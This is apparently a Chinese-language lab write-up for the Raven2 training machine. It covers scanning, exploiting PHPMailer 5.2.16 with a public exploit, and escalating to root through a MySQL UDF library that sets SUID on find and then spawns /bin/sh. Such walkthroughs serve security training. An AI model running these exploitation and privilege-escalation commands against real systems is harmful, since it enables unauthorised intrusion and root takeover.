Raven2

arp-scan -l nmap –min-rate 100000 -p- 192.168.111.135 nmap –min-rate 100000 -p22,80,111,33631 -A 192.168.111.135

image-20241116125544367

dirsearch -u 192.168.111.135 dirb http://192.168.111.135/ nikto -host 192.168.111.135 -p 80

找到有wordpress-4.8.25 /vendor/ PHPMailer 这个靶机跟Raven1差不多

1
2
3
==> DIRECTORY: http://192.168.111.135/vendor/  
==> DIRECTORY: http://192.168.111.135/wordpress/
http://192.168.111.135/vendor/SECURITY.md // 大概意思说就是PHPMailer什么版本有什么漏洞 ,结合/VERSION/知道版本号是5.2.16

searchsploit PHPMailer

image-20241116140158203

远程命令执行的这几个都可以用,这里我用 php/webapps/40974.py cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

image-20241116151121196

python3 40974.py 然后访问一下http://192.168.111.135:80/contact.php,接着再访问一下http://192.168.111.135:80/doors.php

python -c 'import pty;pty.spawn("/bin/bash")';获得交互式shell

image-20241116151247153

关于提权,这次我们通过工具来看看怎么找到能利用的漏洞—LinEnum.sh

上传到/tmp之后,直接 chmod 777 LinEnum.sh ./LinEnum.sh

image-20241116152917593

image-20241116153018146

数据库和计划任务都是以root进行的

image-20241116153054562

找到了数据库的账号密码 mysql -uroot -pR@v3nSecurity 查看版本号:select version(); 5.5.60。用sploit找找能不能利用的点

image-20241116153459209

还真有

image-20241116153831150

gcc -g -c 1518.c gcc -g -shared -o payload.so 1518.o -lc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 进入数据库进行提权

use wordpress
create table foo(line blob); //创建数据表 foo,字段blob,linestring类型
insert into foo values(load_file('/tmp/payload.so')); //插入数据到blob字段下

select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
//mysql的,udf.so插件目录

create function do_system returns integer soname 'udf.so';
//新建存储do_system函数,引用udf.so文件

select do_system('chmod u+s /usr/bin/find');
//调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

​ exit; 退出数据库,开始提权
find / -perm -4000 2>/dev/null
find / -exec '/bin/sh' \;